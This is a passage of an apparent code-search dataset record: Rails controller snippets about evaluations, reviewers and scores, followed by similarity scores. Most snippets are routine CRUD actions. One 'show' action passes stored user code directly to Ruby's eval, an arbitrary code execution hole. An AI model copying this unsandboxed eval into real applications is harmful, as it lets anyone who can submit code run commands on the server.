params[:evaluator]})\n\t\t\tend\n\t\t\t\n\t\t\texisting = Evaluation.first(:conditions => {:evaluator_id => evaluator.id, :citation_id => params[:citation_id]})\n\t\t\t\n\t\t\t@evaluation = existing if existing\n\t\t\t@evaluation.evaluator = evaluator\n\t\t\t@evaluation.citation = Citation.find(params[:citation_id])\n\t\t\t@evaluation.note = params[:note]\n\t\t\t@evaluation.result = params[:evaluation]\n\t\t\t@evaluation.parser = params[:parser]\n\t\t\t@evaluation.save\n\t\t\t\n\t\t\t@evaluation = Evaluation.new\n\t\t\t@evaluation.evaluator = evaluator\n \t\t@citation = find_next_citation(evaluator.id)\n\t\tend\n\t\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @evaluation }\n end\n end", "def index\n @distributions = @foyer.distributions\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @distributions }\n end\n end", "def index\n @renderers = Renderer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @renderers }\n end\n end", "def index\n\t\t@equalizer_profiles = current_user.equalizer_profiles.all\n\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.xml { render :xml => @equalizer_profiles }\n\t\t\tformat.json { render :json => @equalizer_profiles }\n\t\t\tformat.yaml { render :text => @equalizer_profiles.to_yaml, :content_type => 'text/yaml' }\n\t\tend\n\tend", "def index\n @reviewers = Reviewer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @reviewers }\n end\n end", "def index\n @scores = (@user || @quiz).scores\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @scores }\n end\n end", "def index\n @rank_algorithms = RankAlgorithm.find(:all)\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @rank_algorithms }\n end\n end", "def index\n @criterio_evalucion_servicios = CriterioEvalucionServicio.all\n end", "def index\n @assignments = @user.assignments\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @assignments }\n end\n end", "def index\n @student_goal_evaluations = StudentGoalEvaluation.all\n end", "def index\n @karma = Karma.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @karma }\n end\n end", "def index\n @algorithms = Algorithm.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @algorithms }\n end\n end", "def index\n @expressions = Expression.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @expressions }\n end\n end", "def set_evaluacion_servicio\n @evaluacion_servicio = EvaluacionServicio.find(params[:id])\n end", "def show\n @rcrieval = Rcrieval.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @rcrieval }\n end\n end", "def completed_evaluations_list\n\t\t@student = Student.find(params[:student_id])\n\t\t@evaluations = []\n\t\tfor evaluation in @student.evaluations\n\t\t\tif evaluation.isCompleted\n\t\t\t\t@evaluations << evaluation\n\t\t\tend\n\t\tend\n\t\trender json: @evaluations\n\tend", "def show\n @evaluation_result = EvaluationResult.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @evaluation_result }\n end\n end", "def new\n @evaluation = Evaluation.new\n\t\t\n\t\tif request.post?\n\t\t\tevaluator = Evaluator.first(:conditions => ['email = ?', params[:evaluator]])\n\t\t\tif evaluator.nil?\n\t\t\t\tevaluator = Evaluator.create({:email => params[:evaluator]})\n\t\t\tend\n\t\t\t\n\t\t\t@evaluation.evaluator = evaluator\n\t\t\t@evaluation.citation = Citation.find(params[:citation_id])\n\t\t\t@evaluation.result = params[:evaluation]\n\t\t\t@evaluation.parser = params[:parser]\n\t\t\t@evaluation.save\n\t\tend\n\t\t\n respond_to do |format|\n #format.html # new.html.erb\n format.xml { render :xml => @evaluation }\n end\n end", "def index\n @perf_benchmarks = @app.perf_benchmarks.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @perf_benchmarks }\n end\n end", "def index\n @users = User.all\n render :xml => @users\n end", "def set_evaluo\n @evaluo = Evaluo.find(params[:id])\n end", "def index\n @policy_valuations = PolicyValuation.all\n end", "def index\n @dataset_researchers = Lien.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @dataset_researchers }\n end\n end", "def index\n @project_evaluations = ProjectEvaluation.all\n end", "def index\n @requirements = Requirement.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @requirements }\n end\n end", "def show\n @customer = customer_scope.find(params[:id])\n @evaluations = @customer.customer_evaluations.order('evaluations.id desc')\n set_breadcrumb\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @customer }\n end\n end", "def index\n @lookup_sets = LookupSet.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @lookup_sets }\n end\n end", "def index\n @referrals = Referral.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @referrals }\n end\n end", "def index\n @measures = current_user.account.measures.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @measures }\n end\n end", "def index\n @test_scores = @participant.test_scores.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @test_scores }\n end\n end", "def index\n @estimates = Estimate.all\n end", "def index\n @estimates = Estimate.all\n end", "def show\n @score = Evaluation.eval_user(@user)\n end", "def index\n\t\tevals = Evaluation.where(appliable: false, processed: false)\n\t\tif evals.count == 1\n\t\t\t@eval = evals[0]\n\t\t\tselected = Selected.where(developer_id: current_developer.id, evaluation_id: @eval.id)\n\t\t\tif selected.count == 1\n\t\t\t\tmappings = Mapping.where(rater_group_id: selected[0].rater_group_id)\n\t\t\t\tapplieds = []\n\t\t\t\tfor i in 0..mappings.count-1\n\t\t\t\t\tapplieds += Applied.where(ratee_group_id: mappings[i].ratee_group_id)\n\t\t\t\tend\n\n\t\t\t\t@jobs = []\n\t\t\t\tfor i in 0..applieds.count-1\n\t\t\t\t\t@jobs += Material.where(developer_id: applieds[i].developer_id)\n\t\t\t\tend\n\n\t\t\t\tresults = Result.where(evaluation_id: @eval.id)\n\t\t\t\tresulted_materials = []\n\t\t\t\tfor i in 0..results.count-1\n\t\t\t\t\tresulted_materials += [Material.find(results[i].material_id)]\n\t\t\t\tend\n\t\t\t\t@jobs = @jobs - resulted_materials\n\t\t\tend\n\t\tend\n\tend", "def index\n @retain_node_selectors = RetainNodeSelector.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @retain_node_selectors }\n end\n end", "def index\n @assessments = @location.assessments\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @assessments }\n end\n end", "def index\n @results = Result.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @results }\n end\n end", "def index\n @evil_wizards = EvilWizard.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @evil_wizards }\n end\n end", "def scrapers\n @@scrapers\n end", "def show\n @eval = Eval.find(params[:id])\n Thread.new {\n begin\n result = eval(@eval.code)\n rescue Exception => e\n result = \"OH NO: #{e}\"\n ensure\n @result = \"Current Thread:#{Thread.current}, Result: #{result}\"\n end\n }.join(10)\n respond_with(@eval)\n end" ]
[ "0.6577595", "0.6472638", "0.6447232", "0.6365749", "0.63173395", "0.6290402", "0.62816536", "0.6276755", "0.6276755", "0.6276755", "0.6276755", "0.6276755", "0.626674", "0.6263589", "0.62486714", "0.62147796", "0.6130541", "0.6118378", "0.607262", "0.6069896", "0.6024948", "0.6010826", "0.5927136", "0.5915784", "0.590219", "0.5749322", "0.5729344", "0.57292974", "0.5666181", "0.5641338", "0.56385857", "0.5638414", "0.55342185", "0.55322677", "0.55263513", "0.5517768", "0.5517691", "0.54825217", "0.54662794", "0.544096", "0.5439976", "0.5425317", "0.5390462", "0.53642637", "0.5350735", "0.5334929", "0.5318539", "0.5313252", "0.5308057", "0.53063685", "0.5299088", "0.5297377", "0.52885884", "0.52693737", "0.5247628", "0.5241812", "0.52266246", "0.5222867", "0.5219198", "0.51877654", "0.51873654", "0.51845855", "0.51798654", "0.51731473", "0.5169131", "0.5167976", "0.51634395", "0.51614326", "0.51527286", "0.5151892", "0.51421916", "0.5138092", "0.5126035", "0.5109163", "0.5109111", "0.50923055", "0.5076698", "0.50764024", "0.5073457", "0.50593764", "0.50388956", "0.50338", "0.50228745", "0.50174433", "0.5015888", "0.5005089", "0.49895203", "0.49864078", "0.4985559", "0.498437", "0.49827623", "0.49827623", "0.49790055", "0.49780616", "0.4975733", "0.49754584", "0.49739745", "0.4969902", "0.496709", "0.49538687" ]
0.75014734
0
GET /evaluators/1 GET /evaluators/1.xml
def show respond_to do |format| format.html # show.html.erb format.xml { render :xml => @evaluator } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @evaluators }\n end\n end", "def evaluations(id)\n connection.get do |req|\n req.url \"job/#{id}/evaluations\"\n end\n end", "def show\n @evaluacione = Evaluacione.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @evaluacione }\n end\n end", "def show\r\n @evaluation = Evaluation.find(params[:id])\r\n @responses = Response.find_all_by_Evaluation_id params[:id]\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.xml { render :xml => @evaluation }\r\n end\r\n end", "def show\n @evaluation = Evaluation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @evaluation }\n end\n end", "def show\n @evaluations = Evaluation.find(params[:id])\n end", "def get_evaluations\n\t\tif current_student.id.to_i == params[:id].to_i\n\t\t\t@student = Student.find(params[:id])\n\t\t\t@evaluations = @student.evaluations\n\t\tend\n\t\trender 'get_evaluations'\n\tend", "def index\n @evaluates = Evaluate.all\n end", "def get_eval\n\t\t@student = Student.find(params[:student_id])\n\t\t@evaluation = @student.evaluations.find(params[:eval_id])\n\t\trender json: @evaluation\n\tend", "def index\n @evals = Eval.all\n respond_with(@evals) \n end", "def index\n @evaluations = Evaluation.all\n end", "def index\n @evaluations = Evaluation.all\n end", "def index\n @evaluations = Evaluation.all\n end", "def index\n @evaluations = Evaluation.all\n end", "def index\n @evaluations = Evaluation.all\n end", "def index\n @evaluations = Evaluation.all\n end", "def index\n @test_subject_evaluations = @test_subject.test_subject_evaluations.find(:all, :order => 'evaluated_on DESC')\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @test_subject_evaluations }\n end\n end", "def index\n @evaluations = Evaluation.accessible_by(current_ability, :read)\n end", "def getEvaluations\n\t\tharness.evaluations\n\tend", "def index\r\n @evaluaciones = Evaluacione.all\r\n end", "def show\n @eval = Eval.find(params[:id])\n end", "def evaluate\n # First up validations\n @validations.each do |validate|\n next if validate.call\n return @xml\n end\n # Those passed, so next up is actual operations\n @operations.each do |operation|\n operation.call\n end\n return @xml\n end", "def index\n @evaluos = Evaluo.all\n end", "def show\n @test_subject_evaluation = @test_subject.test_subject_evaluations.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @test_subject_evaluation }\n end\n end", "def show\n @evaluacion = Evaluacion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @evaluacion }\n end\n end", "def index\n @evaluations = @course.evaluations\n end", "def show\n @evaluacion_servicios = EvaluacionServicio.find(params[:id])\n end", "def index\n @evaluations = @course.evaluations\n end", "def show\n @evaluate_course = EvaluateCourse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @evaluate_course }\n end\n end", "def index\n @evaluations = Evaluation.all\n @evaluation = Evaluation.new\n end", "def new\n @evaluacione = Evaluacione.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @evaluacione }\n end\n end", "def index\n @tutee = Tutee.find params[:tutee_id]\n @evaluations = @tutee.evaluations.where(:status => 'Pending')\n end", "def show\n @evaluation_criterium = EvaluationCriterium.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @evaluation_criterium }\n end\n end", "def index\n @evaluaciones = Evaluacion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @evaluaciones }\n end\n end", "def index\n @score_evaluations = ScoreEvaluation.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @score_evaluations }\n end\n end", "def evaluate\n response = Quiz.find(params[:quiz_id]).evaluate(params[:questions], current_user)\n @answers = response[:answers]\n @nota = response[:grade]\n\n respond_to do |format|\n format.html { render 'evaluate' }\n end\n end", "def index\n @predicitions = Predicition.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @predicitions }\n end\n end", "def set_evaluacion\n @evaluacions = Evaluacion.find(params[:id])\n end", "def set_evaluacione\r\n @evaluacione = Evaluacione.find(params[:id])\r\n end", "def show\n\t\t\n\t\tdefault_evaluator_id = 33078332\n\t\t\n \tbegin\n \t\t@evaluation = Evaluation.find(params[:id], :include => :citation)\n \t\t@citation = @evaluation.citation\n \trescue ActiveRecord::RecordNotFound\n \t\t@evaluation = Evaluation.new\n \t\tif default_evaluator_id\n \t\t\tevaluator = Evaluator.find(default_evaluator_id)\n \t\telse\n \t\t\tevaluator = Evaluator.first(:conditions => ['email = \"b.wenneker@gmail.com\"'])\n \t\tend\n \t\t\n \t\t@citation = find_next_citation(evaluator.id)\n \tend\n\t\t\n\t\tif request.post?\n\t\t\tif default_evaluator_id\n \t\t\tevaluator = Evaluator.find(default_evaluator_id)\n \t\telse\n \t\t\tevaluator = Evaluator.first(:conditions => ['email = ?', params[:evaluator]])\n \t\tend\n\n\t\t\tif evaluator.nil?\n\t\t\t\tevaluator = Evaluator.create({:email => params[:evaluator]})\n\t\t\tend\n\t\t\t\n\t\t\texisting = Evaluation.first(:conditions => {:evaluator_id => evaluator.id, :citation_id => params[:citation_id]})\n\t\t\t\n\t\t\t@evaluation = existing if existing\n\t\t\t@evaluation.evaluator = evaluator\n\t\t\t@evaluation.citation = Citation.find(params[:citation_id])\n\t\t\t@evaluation.note = params[:note]\n\t\t\t@evaluation.result = params[:evaluation]\n\t\t\t@evaluation.parser = params[:parser]\n\t\t\t@evaluation.save\n\t\t\t\n\t\t\t@evaluation = Evaluation.new\n\t\t\t@evaluation.evaluator = evaluator\n \t\t@citation = find_next_citation(evaluator.id)\n\t\tend\n\t\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @evaluation }\n end\n end", "def index\n @evaluacion_servicios = EvaluacionServicio.all\n end", "def show\n @score_evaluation = ScoreEvaluation.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @score_evaluation }\n end\n end", "def new\n @evaluation = Evaluation.new\n\t\t\n\t\tif request.post?\n\t\t\tevaluator = Evaluator.first(:conditions => ['email = ?', params[:evaluator]])\n\t\t\tif evaluator.nil?\n\t\t\t\tevaluator = Evaluator.create({:email => params[:evaluator]})\n\t\t\tend\n\t\t\t\n\t\t\t@evaluation.evaluator = evaluator\n\t\t\t@evaluation.citation = Citation.find(params[:citation_id])\n\t\t\t@evaluation.result = params[:evaluation]\n\t\t\t@evaluation.parser = params[:parser]\n\t\t\t@evaluation.save\n\t\tend\n\t\t\n respond_to do |format|\n #format.html # new.html.erb\n format.xml { render :xml => @evaluation }\n end\n end", "def show\n\t\t@extractor = Extractor.find(params[:id])\n\t\t@latest_revision = @extractor.revisions.first(:order => \"created_at DESC\")\n\t\tif(@latest_revision) \n\t\t\t@latest_scraped_values = ScrapedValue.find_all_by_revision_id(\n\t\t\t\t@latest_revision.id,\n\t\t\t\t:include => [:annotation]\n\t\t\t)\n\t\tend\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.rss { render :layout => false }\n\t\tend\n\tend", "def set_evaluacion\n @evaluacion = Evaluacion.find(params[:id])\n end", "def index\n @criterions = Criterion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @criterions }\n end\n end", "def evaluate(id)\n connection.post do |req|\n req.url \"job/#{id}/evaluate\"\n end\n end", "def index\n @performance_evaluations = PerformanceEvaluation.all\n end", "def evaluate\n\n end", "def show\n @evaluation_result = EvaluationResult.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @evaluation_result }\n end\n end", "def index\n @evaluation_results = EvaluationResult.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @evaluation_results }\n end\n end", "def set_evaluate\n @evaluate = Evaluate.find(params[:id])\n end", "def show\n @rcrieval = Rcrieval.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @rcrieval }\n end\n end", "def set_evaluacion_servicio\n @evaluacion_servicio = EvaluacionServicio.find(params[:id])\n end", "def index\n @distributions = @foyer.distributions\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @distributions }\n end\n end", "def show\n @expression = Expression.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @expression }\n end\n end", "def show\n @eval = Eval.find(params[:id])\n Thread.new {\n begin\n result = eval(@eval.code)\n rescue Exception => e\n result = \"OH NO: #{e}\"\n ensure\n @result = \"Current Thread:#{Thread.current}, Result: #{result}\"\n end\n }.join(10)\n respond_with(@eval)\n end", "def set_evaluo\n @evaluo = Evaluo.find(params[:id])\n end", "def set_evaluate\n @evaluate = Evaluate.find(params[:id])\n end", "def show\n if @employee.type.nil?\n @evaluations = @employee.evaluations.paginate(page: params[:page]).order(date: :asc).per_page(10)\n end\n end", "def show\n @expectation = RiGse::Expectation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @expectation }\n end\n end", "def new\n @evaluator.owner_id = current_user.id\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @evaluator }\n end\n end", "def index\n session[:evaluation_id] = nil\n if current_user.has_role? :admin\n @evaluations = Evaluation.all\n else\n @lesson = Lesson.find(session[:lesson_id]) if session[:lesson_id]\n @evaluations = Evaluation.where(user_id: current_user.id).order(updated_at: :desc)\n end\n\n end", "def get_operators\r\n url = CLX.paths[:operator]\r\n @http_client.get(url)\r\n end", "def index\n @perf_benchmarks = @app.perf_benchmarks.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @perf_benchmarks }\n end\n end", "def index\n @algorithms = Algorithm.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @algorithms }\n end\n end", "def index\n @rank_algorithms = RankAlgorithm.find(:all)\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @rank_algorithms }\n end\n end", "def index\n @assignments = @user.assignments\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @assignments }\n end\n end", "def index\n @karma = Karma.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @karma }\n end\n end", "def index\n @notifiers = Notifier.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @notifiers }\n end\n end", "def test_setviewer \n set = ResourceSet.new('SemanticExpression.new().spo(\\'<http://www.w3.org/2000/01/rdf-schema#Class>\\',\\'<http://www.w3.org/1999/02/22-rdf-syntax-ns#type>\\',\\'<http://www.w3.org/2000/01/rdf-schema#Class>\\')') \n value ='self.localname'\n post :setviewer, :setid => set.rsid, :value => value #do the request passing the adapter's object_id \n resource = set.resources[0] \n assert_equal resource.explorator::view, value #assert that the view was set.\n assert_response :success #assert that the request was executed successful\n end", "def index\n @rules = Rule.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @rules }\n end\n end", "def show\n @evaluationstatus = Evaluationstatus.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @evaluationstatus }\n end\n end", "def xpath; end", "def xpath; end", "def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @formula }\n end\n end", "def index\n @scores = (@user || @quiz).scores\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @scores }\n end\n end", "def index\n @reviewers = Reviewer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @reviewers }\n end\n end", "def index\n @compares = current_user.compares\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @compares }\n end\n end", "def retrieve_rates(date)\n path = \"http://openexchangerates.org/api/historical/#{date.to_s}.json?app_id=#{$app_id}\"\n response = Net::HTTP.get_response(URI.parse path)\n # TODO: error handling\n response.body\nend", "def index\n @psicologic_evaluations = PsicologicEvaluation.all\n end", "def index\n if params[:query]\n @evaluations = Evaluation.text_search(params[:query]).paginate(page: params[:page]).\n order(date: :asc).per_page(10)\n flash[:notice] = 'Ningún resultado' if @evaluations.empty?\n else\n @evaluations = Evaluation.paginate(page: params[:page]).order(date: :asc).per_page(10)\n end\n end", "def run_list_xml\n run_url = 'http://nikerunning.nike.com/nikeplus/v1/services/widget/get_public_run_list.jsp?userID='\n run_url += @id.to_s\n open(run_url)\n end", "def get_results\n begin\n results = Nokogiri::XML(open(URI.encode(@request.full)))\n rescue SystemCallError, EOFError\n retry\n end\n # puts results\n parse results, :query => @request.q\n end", "def show\n @expectation_stem = RiGse::ExpectationStem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @expectation_stem }\n end\n end", "def rest_get(uri)\n \n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n return doc\n \n end\n \nend", "def index\n if current_user\n @evaluations = current_user.readable_evaluations\n else\n @circle = Circle.where(name: 'Public').try(:first)\n @evaluations = @circle.present? ? @circle.evaluations : []\n end\n user_ids = @evaluations.map(&:created_by_id)\n @users = User.in(id: user_ids)\n @users = @users.index_by(&:id)\n end", "def destroy\n @evaluator.destroy\n\n respond_to do |format|\n format.html { redirect_to(evaluators_url) }\n format.xml { head :ok }\n end\n end", "def result\n @exam = current_exam(params)\n\n @exam_reporter = @exam.evaluate(params[:answers])\n end", "def index\n @requirements = Requirement.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @requirements }\n end\n end", "def set_evaluation\n @evaluation = Evaluation.find(params[:id])\n end", "def response_xml\r\n @sess.DoRequests(@request_set).ToXMLString\r\n end", "def getex\n url = prefix + \"getex\"\n return response(url)\n end", "def getex\n url = prefix + \"getex\"\n return response(url)\n end", "def index\n @retain_node_selectors = RetainNodeSelector.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @retain_node_selectors }\n end\n end", "def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @requisition }\n end\n end", "def index\n @dataset_researchers = Lien.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @dataset_researchers }\n end\n end", "def create\n @evaluacione = Evaluacione.new(params[:evaluacione])\n\n respond_to do |format|\n if @evaluacione.save\n format.html { redirect_to(@evaluacione, :notice => 'Evaluacione was successfully created.') }\n format.xml { render :xml => @evaluacione, :status => :created, :location => @evaluacione }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @evaluacione.errors, :status => :unprocessable_entity }\n end\n end\n end", "def evaluation\n @api_v1_reservation.evaluate(evaluation_params[:comment], evaluation_params[:rating].to_i) unless @api_v1_reservation.evaluation\n render json: { success: true }, status: 200\n rescue Exception => errors\n render json: errors, status: :unprocessable_entity\n end", "def run\n\n #@experiment = Hash.from_xml( xml )['request']\n \n #non_coherent_nodes = get_non_coherent_nodes(@functionalities)\n #if non_coherent_nodes.empty?\n # print xml#return xml\n #end\n #n1 = non_coherent_nodes.second\n\n #print @functionalities.size\n #print \"\\n\\n\"\n #array = n1[:missing]==\"child\" ? possible_children(n1[:element], @functionalities) : possible_parents(n1[:element], @functionalities)\n #array.each do |k|\n # print \"\\n#{k[:parent][\"id\"]} -> #{k[:child][\"id\"]} \\n\\n\"\n #end\n #@functionalities = Hash.from_xml( xml )['request']['functionalities']['functionality']\n print(params[:sla].inspect)\n @functionalities = Hash.from_xml(params[:sla])['functionalities']['functionality'].to_a\n print @functionalities.inspect\n @new_functionalities = concepts_similarity_algorithm( @functionalities )\n \n render 'show_functionalities.xml.erb', :layout => false\n \nend" ]
[ "0.72095126", "0.65815514", "0.63173735", "0.631313", "0.61492413", "0.61009884", "0.6095731", "0.60613704", "0.60271287", "0.59944963", "0.59503233", "0.5910722", "0.5910722", "0.5910722", "0.5910722", "0.5910722", "0.5869709", "0.5855464", "0.58416736", "0.57845193", "0.57700616", "0.5715548", "0.5703912", "0.56952393", "0.5683572", "0.56616026", "0.56531817", "0.5626895", "0.5593733", "0.55896604", "0.5555072", "0.5507376", "0.5487264", "0.5477134", "0.5462714", "0.54617316", "0.54518574", "0.5385027", "0.5371036", "0.53672993", "0.53338367", "0.5324442", "0.53212726", "0.5308399", "0.5301606", "0.5258849", "0.52323276", "0.5216268", "0.5203485", "0.5201327", "0.5185773", "0.51742446", "0.5171687", "0.5142595", "0.5124514", "0.5120889", "0.5115136", "0.51117265", "0.50898635", "0.5085124", "0.507978", "0.50673604", "0.5062575", "0.5028142", "0.502598", "0.5024361", "0.5023798", "0.5018915", "0.50105256", "0.4997238", "0.49939635", "0.49793246", "0.49793154", "0.49789247", "0.49789247", "0.49777585", "0.4965917", "0.49654546", "0.4963173", "0.4961086", "0.4955577", "0.4953895", "0.49409997", "0.49385846", "0.4936601", "0.4933454", "0.49317726", "0.49293393", "0.49282217", "0.4923001", "0.492222", "0.49170825", "0.49165264", "0.49165264", "0.4916245", "0.4914722", "0.49065864", "0.49052754", "0.48983213", "0.48933634" ]
0.6513785
2
GET /evaluators/new GET /evaluators/new.xml
def new @evaluator.owner_id = current_user.id respond_to do |format| format.html # new.html.erb format.xml { render :xml => @evaluator } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\n @evaluacione = Evaluacione.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @evaluacione }\n end\n end", "def new\n @evaluation = Evaluation.new\n\t\t\n\t\tif request.post?\n\t\t\tevaluator = Evaluator.first(:conditions => ['email = ?', params[:evaluator]])\n\t\t\tif evaluator.nil?\n\t\t\t\tevaluator = Evaluator.create({:email => params[:evaluator]})\n\t\t\tend\n\t\t\t\n\t\t\t@evaluation.evaluator = evaluator\n\t\t\t@evaluation.citation = Citation.find(params[:citation_id])\n\t\t\t@evaluation.result = params[:evaluation]\n\t\t\t@evaluation.parser = params[:parser]\n\t\t\t@evaluation.save\n\t\tend\n\t\t\n respond_to do |format|\n #format.html # new.html.erb\n format.xml { render :xml => @evaluation }\n end\n end", "def new\n @expression = Expression.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @expression }\n end\n end", "def new\n @test_subject_evaluation = TestSubjectEvaluation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @test_subject_evaluation }\n end\n end", "def new\n @evaluations = Evaluation.new\n end", "def new\n @evaluate_course = EvaluateCourse.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @evaluate_course }\n end\n end", "def new\n @evaluation_criterium = EvaluationCriterium.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @evaluation_criterium }\n end\n end", "def create\n @evaluacione = Evaluacione.new(params[:evaluacione])\n\n respond_to do |format|\n if @evaluacione.save\n format.html { redirect_to(@evaluacione, :notice => 'Evaluacione was successfully created.') }\n format.xml { render :xml => @evaluacione, :status => :created, :location => @evaluacione }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @evaluacione.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @predicition = Predicition.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @predicition }\n end\n end", "def create\n @evaluation = Evaluation.new(params[:evaluation])\n\n respond_to do |format|\n if @evaluation.save\n flash[:notice] = 'Evaluation was successfully created.'\n format.html { redirect_to(@evaluation) }\n format.xml { render :xml => @evaluation, :status => :created, :location => @evaluation }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @evaluation.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @rcrieval = Rcrieval.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @rcrieval }\n end\n end", "def new\n @evaluation = current_customer.customer_evaluations.new\n\n @evaluation.name = Evaluation.sample_evaluation.name if params[:testing]\n respond_to do |format|\n format.html # new.html.erb\n format.json {render json: @evaluation}\n end\n end", "def index\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @evaluators }\n end\n end", "def new\n @expectation = RiGse::Expectation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @expectation }\n end\n end", "def new\n @scraper = Scraper.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @scraper }\n end\n end", "def new\n @evaluationstatus = Evaluationstatus.new\n @title = 'New Evaluation Status'\n @description = 'Add a new evaluation status to the system'\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @evaluationstatus }\n end\n end", "def new\n @trial = Trial.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @trial }\n end\n end", "def new\n @retain_node_selector = RetainNodeSelector.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @retain_node_selector }\n end\n end", "def new\n @occurence = Occurence.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @occurence }\n end\n end", "def new\n @application_expr = ApplicationExpr.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @application_expr }\n end\n end", "def new\n @eval = 